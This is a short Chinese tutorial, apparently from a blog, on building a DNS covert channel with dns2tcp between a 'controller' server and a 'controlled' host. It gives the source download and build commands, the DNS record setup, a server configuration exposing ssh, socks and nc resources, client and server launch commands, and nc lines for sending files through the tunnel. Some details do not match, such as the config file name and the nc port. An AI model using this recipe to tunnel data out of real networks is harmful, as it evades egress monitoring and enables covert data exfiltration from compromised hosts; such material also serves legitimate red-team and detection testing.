dns2tcp是建立dns隐蔽通道的另一个工具,这个工具是利用c语言开发,而且不需要TUN/TAP。下面照旧,干货:
第一步:搭建dns2tcp(主控端与被控端均需要)
wget http://www.hsc.fr/ressources/outils/dns2tcp/download/dns2tcp-0.5.2.tar.gz
tar zxf dns2tcp-0.5.2.tar.gz
cd dns2tcp-0.5.2
./configure
make
make install
第二步:配置主控端(即dns2tcp服务器),这里假设你的域名是xxx.com,那么你需要在此基础之上开启一个二级域名,比如a.xxx.com,且类型为NS,然后将NS记录指向b.xxx.com,然后将b.xxx.com建立A记录到服务器的IP:
a.xxx.com NS b.xxx.com
b.xxx.com A 1.2.3.4
接下来在/etc/路径下建立dns2tcod.conf文件,然后输入以下配置:
listen = 1.2.3.4(Linux服务器的IP)
port = 53
user = root
chroot = /var/empty/dns2tcp/
domain = a.xxx.com(上面配置NS记录的域名)
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:8082 nc:127.0.0.1:8080
最后的resources里面配置的是dns2tcp供客户端使用的资源。作用是:客户端在本地监听一个端口,并指定使用的资源,当有数据往端口传送后,dns2tcp客户端将数据用DNS协议传动到服务器,然后服务器将数据转发到对应的资源配置的端口中。好了,DNS2TCP的服务端配置到此完毕。接下来就是要慢慢等待域名记录的生效了。
第三步:开整
主控端你需要这样:dns2tcpd -F -d 3 -f /etc/dns2tcpd.conf
被控端你需要这样:dns2tcpc -c -d 3 -l8080 -r nc -za.xxx.com 1.2.3.4
参数说明:-F 代表前台运行
-c 启动流量压缩
-d 代表最大程度的debug
-r 代表你选择的资源
那么此时dns tunnel就建立成功了,然后就可以进行文件的传输等操作了 。传输文件可以利用nc,比如:
nc -n 127.0.0.1 20000 < aaa.txt
nc -l 8080 > yyy.txt
网友评论